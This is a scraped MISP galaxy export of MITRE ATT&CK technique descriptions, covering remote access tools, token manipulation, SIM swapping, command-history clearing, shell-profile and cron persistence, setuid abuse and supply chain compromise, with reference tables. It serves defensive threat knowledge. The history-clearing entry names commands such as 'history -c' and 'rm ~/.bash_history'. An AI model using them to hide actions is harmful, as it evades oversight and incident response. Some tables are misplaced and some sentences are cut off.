Netsh Helper DLL - T1128 has relationships with:

- revoked-by: `misp-galaxy:mitre-attack-pattern="Netsh Helper DLL - T1546.007"` with estimative-language:likelihood-probability="almost-certain"
Remote Access Software - T1219

An adversary may use legitimate desktop support and remote access software to establish an interactive command and control channel to target systems within networks. These services, such as VNC, Team Viewer, AnyDesk, ScreenConnect, LogMeIn, AmmyyAdmin, and other remote monitoring and management (RMM) tools, are commonly used as legitimate technical support software and may be allowed by application control within a target environment.(Citation: Symantec Living off the Land)(Citation: CrowdStrike 2015 Global Threat Report)(Citation: CrySyS Blog TeamSpy)

Remote access software may be installed and used post-compromise as an alternate communications channel for redundant access or as a way to establish an interactive remote desktop session with the target system. They may also be used as a component of malware to establish a reverse connection or back-connect to a service or adversary controlled system.

Adversaries may similarly abuse response features included in EDR and other defensive tools that enable remote access.

Installation of many remote access software may also include persistence (e.g., the software’s installation routine creates a [Windows Service](https://attack.mitre.org/techniques/T1543/003)).

The tag is: misp-galaxy:mitre-attack-pattern="Remote Access Software - T1219"

External Remote Services - T1133

Adversaries may leverage external-facing remote services to initially access and/or persist within a network. Remote services such as VPNs, Citrix, and other access mechanisms allow users to connect to internal enterprise network resources from external locations. There are often remote service gateways that manage connections and credential authentication for these services. Services such...
as [Windows Remote Management](https://attack.mitre.org/techniques/T1021/006) and [VNC](https://attack.mitre.org/techniques/T1021/005) can also be used externally. (Citation: MacOS VNC software for Remote Desktop)

Access to [Valid Accounts](https://attack.mitre.org/techniques/T1078) to use the service is often a requirement, which could be obtained through credential pharming or by obtaining the credentials from users after compromising the enterprise network. (Citation: Volexity Virtual Private Keylogging) Access to remote services may be used as a redundant or persistent access mechanism during an operation.

Access may also be gained through an exposed service that doesn’t require authentication. In containerized environments, this may include an exposed Docker API, Kubernetes API server, kubelet, or web application such as the Kubernetes dashboard. (Citation: Trend Micro Exposed Docker Server)(Citation: Unit 42 Hildegard Malware)

The tag is: *misp-galaxy:mitre-attack-pattern*="External Remote Services - T1133"

Table 5377. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1133">https://attack.mitre.org/techniques/T1133</a></td>
</tr>
<tr>
<td><a href="https://support.apple.com/guide/remote-desktop/set-up-a-computer-running-vnc-software-apdbed09830/mac">https://support.apple.com/guide/remote-desktop/set-up-a-computer-running-vnc-software-apdbed09830/mac</a></td>
</tr>
<tr>
<td><a href="https://unit42.paloaltonetworks.com/hildegard-malware-teamtnt/">https://unit42.paloaltonetworks.com/hildegard-malware-teamtnt/</a></td>
</tr>
<tr>
<td><a href="https://www.volexity.com/blog/2015/10/07/virtual-private-keylogging-cisco-web-vpns-leveraged-for-access-and-persistence/">https://www.volexity.com/blog/2015/10/07/virtual-private-keylogging-cisco-web-vpns-leveraged-for-access-and-persistence/</a></td>
</tr>
</tbody>
</table>

**Obfuscation or cryptography - T1313**

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1313).

Obfuscation is the act of creating communications that are more difficult to understand. Encryption transforms the communications such that it requires a key to reverse the encryption. (Citation: FireEyeAPT28)

The tag is: *misp-galaxy:mitre-attack-pattern*="Obfuscation or cryptography - T1313"

Table 5378. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1313">https://attack.mitre.org/techniques/T1313</a></td>
</tr>
</tbody>
</table>
Access Token Manipulation - T1134

Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.

An adversary can use built-in Windows API functions to copy access tokens from existing processes; this is known as token stealing. These tokens can then be applied to an existing process (i.e. [Token Impersonation/Theft](https://attack.mitre.org/techniques/T1134/001)) or used to spawn a new process (i.e. [Create Process with Token](https://attack.mitre.org/techniques/T1134/002)). An adversary must already be in a privileged user context (i.e. administrator) to steal a token. However, adversaries commonly use token stealing to elevate their security context from the administrator level to the SYSTEM level. An adversary can then use a token to authenticate to a remote system as the account for that token if the account has appropriate permissions on the remote system. (Citation: Pentestlab Token Manipulation)

Any standard user can use the `<code>runas</code>` command, and the Windows API functions, to create impersonation tokens; it does not require access to an administrator account. There are also other mechanisms, such as Active Directory fields, that can be used to modify access tokens.

The tag is: `misp-galaxy:mitre-attack-pattern="Access Token Manipulation - T1134"

Table 5379. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1134">https://attack.mitre.org/techniques/T1134</a></td>
</tr>
<tr>
<td><a href="https://pentestlab.blog/2017/04/03/token-manipulation/">https://pentestlab.blog/2017/04/03/token-manipulation/</a></td>
</tr>
</tbody>
</table>

Account Access Removal - T1531

Adversaries may interrupt availability of system and network resources by inhibiting access to accounts utilized by legitimate users. Accounts may be deleted, locked, or manipulated (ex: changed credentials) to remove access to accounts. Adversaries may also subsequently log off and/or perform a [System Shutdown/Reboot](https://attack.mitre.org/techniques/T1529) to set malicious changes into place. (Citation: CarbonBlack LockerGoga 2019)(Citation: Unit42 LockerGoga 2019)
In Windows, [Net](https://attack.mitre.org/software/S0039) utility, `<code>Set-LocalUser</code>` and `<code>Set-ADAccountPassword</code>` [PowerShell](https://attack.mitre.org/techniques/T1059/001) cmdlets may be used by adversaries to modify user accounts. In Linux, the `<code>passwd</code>` utility may be used to change passwords. Accounts could also be disabled by Group Policy.

Adversaries who use ransomware or similar attacks may first perform this and other Impact behaviors, such as [Data Destruction](https://attack.mitre.org/techniques/T1485) and [Defacement](https://attack.mitre.org/techniques/T1491), in order to impede incident response/recovery before completing the [Data Encrypted for Impact](https://attack.mitre.org/techniques/T1486) objective.

The tag is: `misp-galaxy:mitre-attack-pattern="Account Access Removal - T1531"`

### Network Share Discovery - T1135

Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.

File sharing over a Windows network occurs over the SMB protocol. (Citation: Wikipedia Shared Resource) (Citation: TechNet Shared Folder) [Net](https://attack.mitre.org/software/S0039) can be used to query a remote system for available shared drives using the `<code>net view \remotesystem</code>` command. It can also be used to query shared drives on the local system using `<code>net share</code>`. For macOS, the `<code>sharing -l</code>` command lists all shared points used for smb services.

The tag is: `misp-galaxy:mitre-attack-pattern="Network Share Discovery - T1135"`

### Office Application Startup - T1137

Adversaries may leverage Microsoft Office-based applications for persistence between startups.
Microsoft Office is a fairly common application suite on Windows-based operating systems within an enterprise network. There are multiple mechanisms that can be used with Office for persistence when an Office-based application is started; this can include the use of Office Template Macros and add-ins.

A variety of features have been discovered in Outlook that can be abused to obtain persistence, such as Outlook rules, forms, and Home Page. (Citation: SensePost Ruler GitHub) These persistence mechanisms can work within Outlook or be used through Office 365. (Citation: TechNet O365 Outlook Rules)

The tag is: **misp-galaxy:mitre-attack-pattern="Office Application Startup - T1137"**

**Table 5382. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1137">https://attack.mitre.org/techniques/T1137</a></td>
</tr>
<tr>
<td><a href="https://github.com/sensepost/notruler">https://github.com/sensepost/notruler</a></td>
</tr>
<tr>
<td><a href="https://github.com/sensepost/ruler">https://github.com/sensepost/ruler</a></td>
</tr>
<tr>
<td><a href="https://medium.com/@bwtech789/outlook-today-homepage-persistence-33ea9b505943">https://medium.com/@bwtech789/outlook-today-homepage-persistence-33ea9b505943</a></td>
</tr>
</tbody>
</table>

**Dynamic Data Exchange - T1173**

Windows Dynamic Data Exchange (DDE) is a client-server protocol for one-time and/or continuous inter-process communication (IPC) between applications. Once a link is established, applications can autonomously exchange transactions consisting of strings, warm data links (notifications when a data item changes), hot data links (duplications of changes to a data item), and requests for command execution.

Object Linking and Embedding (OLE), or the ability to link data between documents, was originally implemented through DDE. Despite being superseded by COM, DDE may be enabled in Windows 10 and most of Microsoft Office 2016 via Registry keys. (Citation: BleepingComputer DDE Disabled in Word Dec 2017) (Citation: Microsoft ADV170021 Dec 2017) (Citation: Microsoft DDE Advisory Nov 2017)

Adversaries may use DDE to execute arbitrary commands. Microsoft Office documents can be poisoned with DDE commands (Citation: SensePost PS DDE May 2016) (Citation: Kettle CSV DDE Aug 2014), directly or through embedded files (Citation: Enigma Reviving DDE Jan 2018), and used to deliver execution via phishing campaigns or hosted Web content, avoiding the use of Visual Basic for Applications (VBA) macros. (Citation: SensePost MacroLess DDE Oct 2017) DDE could also be leveraged by an adversary operating on a compromised machine who does not have direct access to command line execution.
The tag is: **misp-galaxy:mitre-attack-pattern="Dynamic Data Exchange - T1173"**

View relationships graph

Dynamic Data Exchange - T1173 has relationships with:

- revoked-by: **misp-galaxy:mitre-attack-pattern="Dynamic Data Exchange - T1559.002"** with estimative-language:likelihood-probability="almost-certain"

<table>
<thead>
<tr>
<th>Table 5383. Table References</th>
</tr>
</thead>
<tbody>
<tr>
<td><strong>Links</strong></td>
</tr>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1173">https://attack.mitre.org/techniques/T1173</a></td>
</tr>
<tr>
<td><a href="https://portal.microsoft.com/security-guidance/advisory/ADV170021">https://portal.microsoft.com/security-guidance/advisory/ADV170021</a></td>
</tr>
<tr>
<td><a href="https://posts.specterops.io/reviving-dde-using-onenote-and-excel-for-code-execution-d7226864caee">https://posts.specterops.io/reviving-dde-using-onenote-and-excel-for-code-execution-d7226864caee</a></td>
</tr>
<tr>
<td><a href="https://sensepost.com/blog/2017/macro-less-code-exec-in-msword/">https://sensepost.com/blog/2017/macro-less-code-exec-in-msword/</a></td>
</tr>
<tr>
<td><a href="https://technet.microsoft.com/library/security/4053440">https://technet.microsoft.com/library/security/4053440</a></td>
</tr>
<tr>
<td><a href="https://www.contextis.com/blog/comma-separated-vulnerabilities">https://www.contextis.com/blog/comma-separated-vulnerabilities</a></td>
</tr>
</tbody>
</table>

**Obfuscate operational infrastructure - T1318**

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1318).

Obfuscation is hiding the day-to-day building and testing of new tools, chat servers, etc. (Citation: DellComfooMasters)

The tag is: **misp-galaxy:mitre-attack-pattern="Obfuscate operational infrastructure - T1318"**

<table>
<thead>
<tr>
<th>Table 5384. Table References</th>
</tr>
</thead>
<tbody>
<tr>
<td><strong>Links</strong></td>
</tr>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1318">https://attack.mitre.org/techniques/T1318</a></td>
</tr>
</tbody>
</table>

**SIM Card Swap - T1451**

An adversary could convince the mobile network operator (e.g. through social networking, forged identification, or insider attacks performed by trusted employees) to issue a new SIM card and associate it with an existing phone number and account. (Citation: NYGov-Simswap)(Citation: Motherboard-Simswap2) The adversary could then obtain SMS messages or hijack phone calls intended for someone else. (Citation: Betanews-Simswap)
One use case is intercepting authentication messages or phone calls to obtain illicit access to online banking or other online accounts, as many online services allow account password resets by sending an authentication code over SMS to a phone number associated with the account. (Citation: Guardian-Simswap)(Citation: Motherboard-Simswap1)(Citation: Krebs-SimSwap)(Citation: TechCrunch-SimSwap)

The tag is: misp-galaxy:mitre-attack-pattern="SIM Card Swap - T1451"

Table 5385. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="http://betanews.com/2016/02/12/everything-you-need-to-know-about-sim-swap-scams/">http://betanews.com/2016/02/12/everything-you-need-to-know-about-sim-swap-scams/</a></td>
</tr>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1451">https://attack.mitre.org/techniques/T1451</a></td>
</tr>
<tr>
<td><a href="https://techrunch.com/2017/08/23/i-was-hacked/">https://techrunch.com/2017/08/23/i-was-hacked/</a></td>
</tr>
<tr>
<td><a href="https://www.theguardian.com/money/2016/apr/16/sim-swap-fraud-mobile-banking-fraudsters">https://www.theguardian.com/money/2016/apr/16/sim-swap-fraud-mobile-banking-fraudsters</a></td>
</tr>
</tbody>
</table>

**URL Scheme Hijacking - T1415**

An iOS application may be able to maliciously claim a URL scheme, allowing it to intercept calls that are meant for a different application (Citation: FireEye-Masque2)(Citation: Dhanjani-URLScheme). This technique, for example, could be used to capture OAuth authorization codes (Citation: IETF-PKCE) or to phish user credentials (Citation: MobileIron-XARA).

The tag is: misp-galaxy:mitre-attack-pattern="URL Scheme Hijacking - T1415"

Table 5386. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1415">https://attack.mitre.org/techniques/T1415</a></td>
</tr>
<tr>
<td><a href="https://www.fireeye.com/blog/threat-research/2015/02/ios_masque_attackre.html">https://www.fireeye.com/blog/threat-research/2015/02/ios_masque_attackre.html</a></td>
</tr>
</tbody>
</table>
Clear Command History - T1146

In addition to clearing system logs, an adversary may clear the command history of a compromised account to conceal the actions undertaken during an intrusion. macOS and Linux both keep track of the commands users type in their terminal so that users can retrace what they've done. These logs can be accessed in a few different ways. While logged in, this command history is tracked in a file pointed to by the environment variable <code>HISTFILE</code>. When a user logs off a system, this information is flushed to a file in the user's home directory called <code>~/.bash_history</code>. The benefit of this is that it allows users to go back to commands they've used before in different sessions. Since everything typed on the command-line is saved, passwords passed in on the command line are also saved. Adversaries can abuse this by searching these files for cleartext passwords. Additionally, adversaries can use a variety of methods to prevent their own commands from appear in these logs such as <code>unset HISTFILE</code>, <code>export HISTFILESIZE=0</code>, <code>history -c</code>, <code>rm ~/.bash_history</code>.

The tag is: <code>misp-galaxy:mitre-attack-pattern="Clear Command History - T1146"</code>

System Location Discovery - T1614

Adversaries may gather information in an attempt to calculate the geographical location of a victim host. Adversaries may use the information from [System Location Discovery](https://attack.mitre.org/techniques/T1614) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.

Adversaries may attempt to infer the location of a system using various system checks, such as time zone, keyboard layout, and/or language settings.(Citation: FBI Ragnar Locker 2020)(Citation: Sophos Geolocation 2016)(Citation: Bleepingcomputer RAT malware 2020) Windows API functions such as <code>GetLocaleInfoW</code> can also be used to determine the locale of the host.(Citation: FBI Ragnar Locker 2020) In cloud environments, an instance's availability zone may also be discovered by accessing the instance metadata service from the instance.(Citation: AWS Instance Identity Documents)(Citation: Microsoft Azure Instance Metadata 2021)

Adversaries may also attempt to infer the location of a victim host using IP addressing, such as via online geolocation IP-lookup services.(Citation: Securelist Trasparent Tribe 2020)(Citation: Sophos Geolocation 2016)
The tag is: misp-galaxy:mitre-attack-pattern="System Location Discovery - T1614"

Table 5388. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1614">https://attack.mitre.org/techniques/T1614</a></td>
</tr>
<tr>
<td><a href="https://news.sophos.com/en-us/2016/05/03/location-based-ransomware-threat-research/">https://news.sophos.com/en-us/2016/05/03/location-based-ransomware-threat-research/</a></td>
</tr>
<tr>
<td><a href="https://securelist.com/transparent-tribe-part-1/98127/">https://securelist.com/transparent-tribe-part-1/98127/</a></td>
</tr>
</tbody>
</table>

**Password Filter DLL - T1174**

Windows password filters are password policy enforcement mechanisms for both domain and local accounts. Filters are implemented as dynamic link libraries (DLLs) containing a method to validate potential passwords against password policies. Filter DLLs can be positioned on local computers for local accounts and/or domain controllers for domain accounts.

Before registering new passwords in the Security Accounts Manager (SAM), the Local Security Authority (LSA) requests validation from each registered filter. Any potential changes cannot take effect until every registered filter acknowledges validation.

Adversaries can register malicious password filters to harvest credentials from local computers and/or entire domains. To perform proper validation, filters must receive plain-text credentials from the LSA. A malicious password filter would receive these plain-text credentials every time a password request is made. (Citation: Carnal Ownage Password Filters Sept 2013)

The tag is: misp-galaxy:mitre-attack-pattern="Password Filter DLL - T1174"

View relationships graph

Password Filter DLL - T1174 has relationships with:


Table 5389. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="http://carnal0wnage.attackresearch.com/2013/09/stealing-passwords-every-time-they.html">http://carnal0wnage.attackresearch.com/2013/09/stealing-passwords-every-time-they.html</a></td>
</tr>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1174">https://attack.mitre.org/techniques/T1174</a></td>
</tr>
</tbody>
</table>
### Device Type Discovery - T1419

On Android, device type information is accessible to apps through the android.os.Build class (Citation: Android-Build). Device information could be used to target privilege escalation exploits.

The tag is: `misp-galaxy:mitre-attack-pattern="Device Type Discovery - T1419"`

---

### Spearphishing via Service - T1194

Spearphishing via service is a specific variant of spearphishing. It is different from other forms of spearphishing in that it employs the use of third party services rather than directly via enterprise email channels.

All forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this scenario, adversaries send messages through various social media services, personal webmail, and other non-enterprise controlled services. These services are more likely to have a less-strict security policy than an enterprise. As with most kinds of spearphishing, the goal is to generate rapport with the target or get the target's interest in some way. Adversaries will create fake social media accounts and message employees for potential job opportunities. Doing so allows a plausible reason for asking about services, policies, and software that's running in an environment. The adversary can then send malicious links or attachments through these services.

A common example is to build rapport with a target via social media, then send content to a personal webmail service that the target uses on their work computer. This allows an adversary to bypass some email restrictions on the work account, and the target is more likely to open the file since it's something they were expecting. If the payload doesn't work as expected, the adversary can continue normal communications and troubleshoot with the target on how to get it working.

The tag is: `misp-galaxy:mitre-attack-pattern="Spearphishing via Service - T1194"`

---

View relationships graph

Spearphishing via Service - T1194 has relationships with:

- revoked-by: `misp-galaxy:mitre-attack-pattern="Spearphishing via Service - T1566.003"` with `estimative-language:likelihood-probability="almost-certain"`

---

Table 5391. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1419">https://attack.mitre.org/techniques/T1419</a></td>
</tr>
</tbody>
</table>

---

2508
Cloud Administration Command - T1651

Adversaries may abuse cloud management services to execute commands within virtual machines or hybrid-joined devices. Resources such as AWS Systems Manager, Azure RunCommand, and Runbooks allow users to remotely run scripts in virtual machines by leveraging installed virtual machine agents. Similarly, in Azure AD environments, Microsoft Endpoint Manager allows Global or Intune Administrators to run scripts as SYSTEM on on-premises devices joined to the Azure AD. (Citation: AWS Systems Manager Run Command)(Citation: Microsoft Run Command)(Citation: SpecterOps Lateral Movement from Azure to On-Prem AD 2020)

If an adversary gains administrative access to a cloud environment, they may be able to abuse cloud management services to execute commands in the environment's virtual machines or on-premises hybrid-joined devices. Additionally, an adversary that compromises a service provider or delegated administrator account may similarly be able to leverage a [Trusted Relationship](https://attack.mitre.org/techniques/T1199) to execute commands in connected virtual machines. (Citation: MSTIC Nobelium Oct 2021)

The tag is: *misp-galaxy:mitre-attack-pattern="Cloud Administration Command - T1651"

Table 5392. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1651">https://attack.mitre.org/techniques/T1651</a></td>
</tr>
<tr>
<td><a href="https://docs.aws.amazon.com/systems-manager/latest/userguide/run-command.html">https://docs.aws.amazon.com/systems-manager/latest/userguide/run-command.html</a></td>
</tr>
<tr>
<td><a href="https://posts.specterops.io/death-from-above-lateral-movement-from-azure-to-on-prem-ad-d18cb3959d4d">https://posts.specterops.io/death-from-above-lateral-movement-from-azure-to-on-prem-ad-d18cb3959d4d</a></td>
</tr>
</tbody>
</table>

Group Policy Discovery - T1615

Adversaries may gather information on Group Policy settings to identify paths for privilege escalation, security measures applied within a domain, and to discover patterns in domain objects that can be manipulated or used to blend in the environment. Group Policy allows for centralized management of user and computer settings in Active Directory (AD). Group policy objects (GPOs) are containers for group policy settings made up of files stored within a predictable network path \<DOMAIN>\SYSVOL\<DOMAIN>\Policies\. (Citation: TechNet Group Policy Basics)(Citation: ADSecurity GPO Persistence 2016)

Adversaries may use commands such as `<code>gpresult</code>` or various publicly available PowerShell functions, such as `<code>Get-DomainGPO</code>` and `<code>Get-DomainGPOLocalGroup</code>`, to gather information on Group Policy settings. (Citation: Microsoft
Adversaries may use this information to shape follow-on behaviors, including determining potential attack paths within the target network as well as opportunities to manipulate Group Policy settings (i.e. [Domain Policy Modification](https://attack.mitre.org/techniques/T1484)) for their benefit.

The tag is: **misp-galaxy:mitre-attack-pattern="Group Policy Discovery - T1615"**

### Table 5393. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://adsecurity.org/?p=2716">https://adsecurity.org/?p=2716</a></td>
</tr>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1615">https://attack.mitre.org/techniques/T1615</a></td>
</tr>
<tr>
<td><a href="https://blogs.technet.microsoft.com/musings_of_a_technical_tam/2012/02/13/group-policy-basics-part-1-understanding-the-structure-of-a-group-policy-object/">https://blogs.technet.microsoft.com/musings_of_a_technical_tam/2012/02/13/group-policy-basics-part-1-understanding-the-structure-of-a-group-policy-object/</a></td>
</tr>
<tr>
<td><a href="https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/gpresult">https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/gpresult</a></td>
</tr>
<tr>
<td><a href="https://github.com/PowerShellEmpire/Empire">https://github.com/PowerShellEmpire/Empire</a></td>
</tr>
</tbody>
</table>

### Malicious Shell Modification - T1156

Adversaries may establish persistence through executing malicious commands triggered by a user’s shell. User shells execute several configuration scripts at different points throughout the session based on events. For example, when a user opens a command line interface or remotely logs in (such as SSH) a login shell is initiated. The login shell executes scripts from the system (/etc) and the user’s home directory (~/) to configure the environment. All login shells on a system use `<code>/etc/profile</code>` when initiated. These configuration scripts run at the permission level of their directory and are often used to set environment variables, create aliases, and customize the user’s environment. When the shell exits or terminates, additional shell scripts are executed to ensure the shell exits appropriately.

Adversaries may attempt to establish persistence by inserting commands into scripts automatically executed by shells. Using bash as an example, the default shell for most GNU/Linux systems, adversaries may add commands that launch malicious binaries into the `<code>/etc/profile</code>` and `<code>/etc/profile.d</code>` files (Citation: intezer-kaiji-malware). These files require root permissions and are executed each time any shell on a system launches. For user level permissions, adversaries can insert malicious commands into `<code>~/.bash_profile</code>`, `<code>~/.bash_login</code>`, or `<code>~/.profile</code>` (Rocke) which are sourced when a user opens a command line interface or connects remotely. Adversaries often use `~/.bash_profile` since the system only executes the first file that exists in the listed order. Adversaries have also leveraged the `<code>~/.bashrc</code>` file (Tsunami, Rocke, Linux Rabbit, Magento) which is additionally executed if the connection is established remotely or an additional interactive shell is opened, such as a new tab in the command line interface. Some malware targets the termination of a program to trigger execution (Cannon), adversaries can use the `<code>~/.bash_logout</code>` file to execute malicious commands at the end of a session(Pearl_shellbot).

For macOS, the functionality of this technique is similar but leverages zsh, the default shell for macOS 10.15+. When the Terminal.app is opened, the application launches a zsh login shell and a zsh interactive shell. The login shell configures the system environment using
<code>/etc/profile</code>, <code>/etc/zshenv</code>, <code>/etc/zprofile</code>, and <code>/etc/zlogin</code>. The login shell then configures the user environment with <code>~/.zprofile</code> and <code>~/.zlogin</code>. The interactive shell uses the <code>~/.zshrc</code> to configure the user environment. Upon exiting, <code>/etc/zlogout</code> and <code>~/.zlogout</code> are executed. For legacy programs, macOS executes <code>/etc/bashrc</code> on startup.

The tag is: <code>misp-galaxy:mitre-attack-pattern="Malicious Shell Modification - T1156"</code>

View relationships graph

Malicious Shell Modification - T1156 has relationships with:

- revoked-by: <code>misp-galaxy:mitre-attack-pattern="Unix Shell Configuration Modification - T1546.004"</code> with estimative-language:likelihood-probability="almost-certain"

**Table 5394. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1156">https://attack.mitre.org/techniques/T1156</a></td>
</tr>
</tbody>
</table>

**Browser Session Hijacking - T1185**

Adversaries may take advantage of security vulnerabilities and inherent functionality in browser software to change content, modify user-behaviors, and intercept information as part of various browser session hijacking techniques.(Citation: Wikipedia Man in the Browser)

A specific example is when an adversary injects software into a browser that allows them to inherit cookies, HTTP sessions, and SSL client certificates of a user then use the browser as a way to pivot into an authenticated intranet.(Citation: Cobalt Strike Browser Pivot)(Citation: ICEBRG Chrome Extensions) Executing browser-based behaviors such as pivoting may require specific process permissions, such as <code>SeDebugPrivilege</code> and/or high-integrity/administrator rights.

Another example involves pivoting browser traffic from the adversary's browser through the user's browser by setting up a proxy which will redirect web traffic. This does not alter the user's traffic in any way, and the proxy connection can be severed as soon as the browser is closed. The adversary assumes the security context of whichever browser process the proxy is injected into. Browsers typically create a new process for each tab that is opened and permissions and certificates are separated accordingly. With these permissions, an adversary could potentially browse to any resource on an intranet, such as [Sharepoint](https://attack.mitre.org/techniques/T1213/002) or webmail, that is accessible through the browser and which the browser has sufficient permissions. Browser pivoting may also bypass security provided by 2-factor authentication.(Citation: cobaltstrike manual)

The tag is: <code>misp-galaxy:mitre-attack-pattern="Browser Session Hijacking - T1185"</code>

**Table 5395. Table References**
Supply Chain Compromise - T1195

Adversaries may manipulate products or product delivery mechanisms prior to receipt by a final consumer for the purpose of data or system compromise.

Supply chain compromise can take place at any stage of the supply chain including:

- Manipulation of development tools
- Manipulation of a development environment
- Manipulation of source code repositories (public or private)
- Manipulation of source code in open-source dependencies
- Manipulation of software update/distribution mechanisms
- Compromised/infected system images (multiple cases of removable media infected at the factory)(Citation: IBM Storwize)(Citation: Schneider Electric USB Malware)
- Replacement of legitimate software with modified versions
- Sales of modified/counterfeit products to legitimate distributors
- Shipment interdiction

While supply chain compromise can impact any component of hardware or software, adversaries looking to gain execution have often focused on malicious additions to legitimate software in software distribution or update channels.(Citation: Avast CCleaner3 2018)(Citation: Microsoft Dofoil 2018)(Citation: Command Five SK 2011) Targeting may be specific to a desired victim set or malicious software may be distributed to a broad set of consumers but only move on to additional tactics on specific victims.(Citation: Symantec Elderwood Sept 2012)(Citation: Avast CCleaner3 2018)(Citation: Command Five SK 2011) Popular open source projects that are used as dependencies in many applications may also be targeted as a means to add malicious code to users of the dependency.(Citation: Trendmicro NPM Compromise)

The tag is: misp-galaxy:mitre-attack-pattern="Supply Chain Compromise - T1195"

Table S396. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1195">https://attack.mitre.org/techniques/T1195</a></td>
</tr>
</tbody>
</table>

2512
Setuid and Setgid - T1166

When the setuid or setgid bits are set on Linux or macOS for an application, this means that the application will run with the privileges of the owning user or group respectively (Citation: setuid man page). Normally an application is run in the current user’s context, regardless of which user or group owns the application. There are instances where programs need to be executed in an elevated context to function properly, but the user running them doesn’t need the elevated privileges. Instead of creating an entry in the sudoers file, which must be done by root, any user can specify the setuid or setgid flag to be set for their own applications. These bits are indicated with an "s" instead of an "x" when viewing a file’s attributes via `<code>ls -l</code>`. The `<code>chmod</code>` program can set these bits with via bitmasking, `<code>chmod 4777 [file]</code>` or via shorthand naming, `<code>chmod u+s [file]</code>`.

An adversary can take advantage of this to either do a shell escape or exploit a vulnerability in an application with the setsuid or setgid bits to get code running in a different user’s context. Additionally, adversaries can use this mechanism on their own malware to make sure they’re able to execute in elevated contexts in the future (Citation: OSX Keydnap malware).

The tag is: <code>misp-galaxy:mitre-attack-pattern="Setuid and Setgid - T1166"</code>

View relationships graph

Setuid and Setgid - T1166 has relationships with:


Table 5397. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="http://man7.org/linux/man-pages/man2/setuid.2.html">http://man7.org/linux/man-pages/man2/setuid.2.html</a></td>
</tr>
</tbody>
</table>
Local Job Scheduling - T1168

On Linux and macOS systems, multiple methods are supported for creating pre-scheduled and periodic background jobs: cron, (Citation: Die.net Linux crontab Man Page) at, (Citation: Die.net Linux at Man Page) and launchd. (Citation: AppleDocs Scheduling Timed Jobs) Unlike [Scheduled Task/Job](https://attack.mitre.org/techniques/T1053) on Windows systems, job scheduling on Linux-based systems cannot be done remotely unless used in conjunction within an established remote session, like secure shell (SSH).

**cron**

System-wide cron jobs are installed by modifying `<code>/etc/crontab</code>` file, `<code>/etc/cron.d/</code>` directory or other locations supported by the Cron daemon, while per-user cron jobs are installed using crontab with specifically formatted crontab files. (Citation: AppleDocs Scheduling Timed Jobs) This works on macOS and Linux systems.

Those methods allow for commands or scripts to be executed at specific, periodic intervals in the background without user interaction. An adversary may use job scheduling to execute programs at system startup or on a scheduled basis for Persistence, (Citation: Janicab) (Citation: Methods of Mac Malware Persistence) (Citation: Malware Persistence on OS X) (Citation: Avast Linux Trojan Cron Persistence) to conduct Execution as part of Lateral Movement, to gain root privileges, or to run a process under the context of a specific account.

**at**

The at program is another means on POSIX-based systems, including macOS and Linux, to schedule a program or script job for execution at a later date and/or time, which could also be used for the same purposes.

**launchd**

Each launchd job is described by a different configuration property list (plist) file similar to [Launch Daemon](https://attack.mitre.org/techniques/T1160) or [Launch Agent](https://attack.mitre.org/techniques/T1159), except there is an additional key called `<code>StartCalendarInterval</code>` with a dictionary of time values. (Citation: AppleDocs Scheduling Timed Jobs) This only works on macOS and OS X.

The tag is: `misp-galaxy:mitre-attack-pattern="Local Job Scheduling - T1168"`

View relationships graph

Local Job Scheduling - T1168 has relationships with:

- revoked-by: `misp-galaxy:mitre-attack-pattern="Scheduled Task/Job - T1053"` with estimative-
Control Panel Items - T1196

